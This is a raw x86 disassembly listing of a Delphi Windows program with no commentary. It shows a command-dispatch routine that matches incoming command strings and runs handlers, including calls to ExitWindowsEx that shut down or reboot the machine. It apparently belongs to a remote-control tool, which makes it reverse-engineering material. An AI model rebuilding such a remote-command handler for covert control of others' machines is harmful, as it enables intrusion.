mov ax, 0x27c
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496888
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x85c8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85c8]
mov edx, 0x496984
call fcn.00404f38
jne 0x4935cb
xor eax, eax
push ebp
push 0x49358a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a6a30]
mov edx, dword [eax]
call dword [edx + 0x44]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493594
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x280
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496828
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x85cc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85cc]
mov edx, 0x496990
call fcn.00404f38
jne 0x493684
xor eax, eax
push ebp
push 0x493616
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
call fcn.00470340
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493620
cmp dword [ebp - 0x30], 0
jne 0x49365d
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x286
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4967d4
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496834
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x85d0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85d0]
mov edx, 0x49699c
call fcn.00404f38
jne 0x493762
xor eax, eax
push ebp
push 0x4936f4
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x85d4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85d4]
call fcn.00409244
call fcn.0046ffc8
lea eax, [ebp - 0x30]
call fcn.00470340
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4936fe
cmp dword [ebp - 0x30], 0
jne 0x49373b
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x28c
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4967d4
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496834
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x85d8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85d8]
mov edx, 0x4969a8
call fcn.00404f38
jne 0x493840
xor eax, eax
push ebp
push 0x4937d2
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x85dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85dc]
call fcn.00409244
call fcn.0046fffc
lea eax, [ebp - 0x30]
call fcn.00470340
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4937dc
cmp dword [ebp - 0x30], 0
jne 0x493819
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x292
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4967d4
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496834
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x85e0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85e0]
mov edx, 0x4969b4
call fcn.00404f38
jne 0x49396f
xor eax, eax
push ebp
push 0x493901
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x85e4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85e4]
push eax
lea ecx, [ebp - 0x85e8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85e8]
push eax
lea ecx, [ebp - 0x85ec]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85ec]
push eax
lea ecx, [ebp - 0x85f0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85f0]
pop edx
pop ecx
call fcn.0046fd98
lea eax, [ebp - 0x30]
call fcn.00470340
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49390b
cmp dword [ebp - 0x30], 0
jne 0x493948
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x298
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4967d4
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496834
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x85f4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85f4]
mov edx, 0x4969c0
call fcn.00404f38
jne 0x493a4d
xor eax, eax
push ebp
push 0x4939df
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x85f8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85f8]
call fcn.00409244
call fcn.004701dc
lea eax, [ebp - 0x30]
call fcn.00470340
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4939e9
cmp dword [ebp - 0x30], 0
jne 0x493a26
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x29e
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4967d4
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496834
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x85fc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85fc]
mov edx, 0x4969cc
call fcn.00404f38
jne 0x493b2b
xor eax, eax
push ebp
push 0x493abd
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8600]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8600]
call fcn.00409244
call fcn.0047015c
lea eax, [ebp - 0x30]
call fcn.00470340
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493ac7
cmp dword [ebp - 0x30], 0
jne 0x493b04
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x2a4
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4967d4
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496834
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8604]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8604]
mov edx, 0x4969d8
call fcn.00404f38
jne 0x493c09
xor eax, eax
push ebp
push 0x493b9b
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8608]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8608]
call fcn.00409244
call fcn.0047011c
lea eax, [ebp - 0x30]
call fcn.00470340
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493ba5
cmp dword [ebp - 0x30], 0
jne 0x493be2
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x2aa
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4967d4
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496834
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x860c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x860c]
mov edx, 0x4969e4
call fcn.00404f38
jne 0x493ce7
xor eax, eax
push ebp
push 0x493c79
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8610]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8610]
call fcn.00409244
call fcn.0047019c
lea eax, [ebp - 0x30]
call fcn.00470340
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493c83
cmp dword [ebp - 0x30], 0
jne 0x493cc0
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x2b0
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4967d4
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496834
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8614]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8614]
mov edx, 0x4969f0
call fcn.00404f38
jne 0x493e11
xor eax, eax
push ebp
push 0x493d38
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x31c]
call fcn.00403d58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493d42
xor eax, eax
push ebp
push 0x493dfa
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x4766e8]
call fcn.00476af8
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 0x31c], ebx
lea ecx, [ebp - 0x8618]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov esi, dword [eax]
call dword [esi + 0xc]
mov edx, dword [ebp - 0x8618]
mov eax, ebx
call fcn.00476c14
lea ecx, [ebp - 0x861c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x861c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x31c]
call fcn.00476c28
lea ecx, [ebp - 0x8620]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8620]
call fcn.00409244
mov edx, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x31c]
call fcn.00476c04
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x31c]
call fcn.00476bc0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493e04
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8624]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8624]
mov edx, 0x4969fc
call fcn.00404f38
jne 0x493e75
xor eax, eax
push ebp
push 0x493e5e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x31c]
call fcn.00403d58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493e68
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8628]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8628]
mov edx, 0x496a08
call fcn.00404f38
jne 0x493f4d
xor eax, eax
push ebp
push 0x493ec6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x320]
call fcn.00403d58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493ed0
xor eax, eax
push ebp
push 0x493f36
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x477eb0]
call fcn.00478028
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 0x320], ebx
lea ecx, [ebp - 0x862c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x862c]
call fcn.00409244
mov edx, eax
mov eax, ebx
call fcn.0047813c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x320]
call fcn.00478118
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493f40
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8630]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8630]
mov edx, 0x496a14
call fcn.00404f38
jne 0x493fb1
xor eax, eax
push ebp
push 0x493f9a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x320]
call fcn.00403d58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493fa4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8634]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8634]
mov edx, 0x496a20
call fcn.00404f38
jne 0x49404f
xor eax, eax
push ebp
push 0x49401e
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a6a53], 0
je 0x494014
lea ecx, [ebp - 0x8638]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8638]
mov eax, dword [0x4a6a48]
call fcn.0048d420
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494028
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496894
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x863c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x863c]
mov edx, 0x496a2c
call fcn.00404f38
jne 0x494091
call fcn.004586d8
push 0
push 0xc
call sub.user32.dll_ExitWindowsEx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8640]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8640]
mov edx, 0x496a38
call fcn.00404f38
jne 0x4940d3
call fcn.004586d8
push 0
push 6
call sub.user32.dll_ExitWindowsEx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8644]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8644]
mov edx, 0x496a44
call fcn.00404f38
jne 0x49415d
xor eax, eax
push ebp
push 0x49412c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a6a53], 0
jne 0x494122
mov dl, 1
mov eax, dword [0x48d0d0]
call fcn.0048d3dc
mov dword [0x4a6a48], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494136
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496894
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8648]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8648]
mov edx, 0x496a50
call fcn.00404f38
jne 0x4941e0
xor eax, eax
push ebp
push 0x4941af
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a6a53], 0
je 0x4941a5
mov eax, dword [0x4a6a48]
call fcn.0041c07c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4941b9
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496894
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x864c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x864c]
mov edx, 0x496a5c
call fcn.00404f38
jne 0x4942b7
xor eax, eax
push ebp
push 0x494276
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x496a68
call fcn.00409244
push eax
mov eax, 0x4a6a60
mov ecx, 1
mov edx, dword [0x48e23c]
call fcn.00405e8c
add esp, 4
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x487bd0]
call fcn.00488534
mov dword [0x4a6a68], eax
mov eax, dword [0x4a6a68]
mov edx, dword [ebp - 4]
mov dword [eax + 0x3c], edx
mov dword [eax + 0x38], 0x49097c
mov eax, dword [0x4a6a68]
call fcn.004887c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494280
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x2b6
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496894
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8650]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8650]
mov edx, 0x496a74
call fcn.00404f38
jne 0x494341
xor eax, eax
push ebp
push 0x494300
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a6a68]
call fcn.004887ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49430a
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x2bc
call fcn.0048e25c
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496894
mov eax, dword [ebp - 4]
call fcn.00490724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496708
lea ecx, [ebp - 0x8654]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8654]
mov edx, 0x496a80
call fcn.00404f38
jne 0x49447e
xor eax, eax
push ebp
push 0x4943a8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a6a50], 0
je 0x49438d
mov eax, dword [0x4a6a40]
call fcn.0041c07c
mov dl, 1
mov eax, dword [0x48cc88]
call fcn.0048cd74
mov dword [0x4a6a40], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4943b2
lea eax, [ebp - 0x30]
mov edx, 0x4967d4
call fcn.00404bc4
lea eax, [ebp - 0x865c]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x865c]
lea ecx, [ebp - 0x8658]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x8658]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x8660]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x8660]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x8664]
mov dx, 6
mov ax, 0x2c2
call fcn.0048e25c
mov eax, dword [ebp - 0x8664]
push eax
lea eax, [ebp - 0x8668]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8668]
lea ecx, [ebp - 0x30]
pop eax
call fcn.0045839c
lea eax, [ebp - 0x866c]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x866c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x8670]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8670]
mov edx, 0x496a8c
call fcn.00404f38
jne 0x494692
xor eax, eax
push ebp
push 0x4945ba
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov edx, dword [eax]
call dword [edx + 0x58]
xor eax, eax
mov dword [0x4a6a9c], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov eax, dword [ebp - 4]
call fcn.00490650
test al, al
je 0x4945a0
xor eax, eax
push ebp
push 0x494566
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
mov edx, 0x496870
call fcn.00404bc4
lea eax, [ebp - 0x8678]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8678]
lea ecx, [ebp - 0x8674]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x8674]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x867c]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x867c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494598
mov eax, dword [ebp - 4]
call fcn.00499868
lea ecx, [ebp - 0x18]
mov dx, 6
mov ax, 0x2c8
call fcn.0048e25c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4945de
lea eax, [ebp - 0x30]
mov edx, 0x4967d4
call fcn.00404bc4
lea eax, [ebp - 0x8684]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8684]
lea ecx, [ebp - 0x8680]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x8680]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x8688]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x8688]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea eax, [ebp - 0x868c]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x868c]
lea ecx, [ebp - 0x30]
mov eax, dword [ebp - 0x18]
call fcn.0045839c
lea eax, [ebp - 0x8690]
mov ecx, 0x4967c8
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x8690]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x8694]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8694]
mov edx, 0x496a98
call fcn.00404f38
jne 0x4947d3
lea ecx, [ebp - 0x18]
mov dx, 6
mov ax, 0x2d4
call fcn.0048e25c
xor eax, eax
push ebp
push 0x494705
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x4a6a9c], 0xffffffff
mov eax, dword [ebp - 4]
call fcn.00499a24
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov edx, dword [eax]
call dword [edx + 0x58]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49471f
lea eax, [ebp - 0x30]
mov edx, 0x4967d4
call fcn.00404bc4
lea eax, [ebp - 0x869c]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x869c]
lea ecx, [ebp - 0x8698]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x8698]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x86a0]
mov ecx, 0x4967c8
